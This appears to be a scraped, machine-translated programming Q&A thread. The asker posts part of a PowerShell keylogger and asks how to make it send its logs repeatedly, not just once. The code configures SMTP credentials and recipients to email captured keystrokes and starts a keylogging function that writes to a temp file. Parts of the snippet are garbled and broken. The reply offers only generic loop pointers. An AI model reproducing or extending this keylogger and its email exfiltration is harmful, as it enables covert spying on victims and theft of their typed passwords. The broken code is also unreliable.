【问题标题】:why this powershell keylogger sends logs only once?为什么这个 powershell 键盘记录器只发送一次日志?
【发布时间】:2019-12-08 18:37:16
【问题描述】:

我有这个用于 Powershell 的键盘记录器,可以将日志发送到电子邮件,它运行良好,但它只发送一次日志,然后他停止工作。 我如何让它像一个无限循环?

TimesToRun = 2
$RunTimeP = 1
$From = "USER1@mail.com"
$Pass = "Pa$$w0rd"
$To = "USER2@mail.com"
$Subject = "Keylogger Results"
$body = "Keylogger Results"
$SMTPServer = "smtp.mail.com"
$SMTPPort = "587"
$credentials = new-object 
Management.Automation.PSCredential 
$From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)



$TimeStart = Get-Date
$TimeEnd = $timeStart.addminutes($RunTimeP)
l
function Start- 

 KeyLogger($Path="$env:temp\keylogger.txt") 

这是完整的脚本 https://gist.githubusercontent.com/dimiboy/8073b733f04d896cc7484fdb68bfce07/raw/d3ba1579e6be99680bee18a509a7f6940cb6a248/keystrokes-NEW.ps1

【问题讨论】:

    标签: windows powershell github keylogger


    【解决方案1】:

    我把它放在这里,因为它对于评论部分来说太长了。

    这是一个 While 循环的用例。这也不是 PowerShell 的独有或限制。

    循环是所有编程语言中的标准用例,也是有据可查的东西。

    内置的帮助可以帮助您前进。

    Get-Help about_Foreach
    Get-Help about_For
    Get-Help about_While
    Get-Help about_do
    

    PowerShell 循环

    https://social.technet.microsoft.com/wiki/contents/articles/4542.powershell-loops.aspx

    您必须决定使用哪个,因为每个都有其细节和影响。

    【讨论】:

      猜你喜欢
      • 2017-03-11
      • 1970-01-01
      • 2016-12-07
      • 2021-08-14
      • 1970-01-01
      • 1970-01-01
      • 2016-04-25
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多